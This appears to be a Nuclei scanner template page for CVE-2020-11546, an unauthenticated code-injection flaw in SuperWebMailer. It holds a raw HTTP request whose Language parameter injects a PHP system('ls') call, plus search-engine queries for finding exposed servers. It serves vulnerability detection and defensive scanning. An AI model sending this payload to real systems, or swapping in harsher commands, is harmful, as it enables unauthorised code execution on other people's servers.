SuperWebmailer 7.21.0.01526 - Remote Code Execution

ID: CVE-2020-11546

Severity: critical

Author: Official_BlackHat13

Tags: cve,cve2020,rce,superwebmailer

Description

SuperWebMailer 7.21.0.01526 is susceptible to a remote code execution vulnerability in the Language parameter of mailingupgrade.php. An unauthenticated remote attacker can exploit this behavior to execute arbitrary PHP code via Code Injection.

YAML Source

id: CVE-2020-11546

info:
  name: SuperWebmailer 7.21.0.01526 - Remote Code Execution
  author: Official_BlackHat13
  severity: critical
  description: SuperWebMailer 7.21.0.01526 is susceptible to a remote code execution vulnerability in the Language parameter of mailingupgrade.php. An unauthenticated remote attacker can exploit this behavior to execute arbitrary PHP code via Code Injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to the latest version of SuperWebmailer to mitigate this vulnerability.
  reference:
    - https://github.com/Official-BlackHat13/CVE-2020-11546/
    - https://blog.to.com/advisory-superwebmailer-cve-2020-11546/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11546
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11546
    cwe-id: CWE-94
    epss-score: 0.96524
    epss-percentile: 0.99513
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query:
      - title:"SuperWebMailer"
      - http.title:"superwebmailer"
    fofa-query: title="superwebmailer"
    google-query: intitle:"superwebmailer"
  tags: cve,cve2020,rce,superwebmailer

http:
  - raw:
      - |
        POST /mailingupgrade.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        step=1&Language=de{${system("ls")}}&NextBtn=Weiter+%3E

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ajax_ccea.php
          - ajax_getemailingactions.php
          - ajax_getemailtemplates.php
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206fa3d7cc61aead1a9948318fea7add4b5bf9afe267cb4fd3b9fd24c42e91ff8302210084f427199e4858285caaa1e5bd5c7b0ce62ebede4e25a7d889e825fb8fb44ae4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-11546.yaml"

View on Github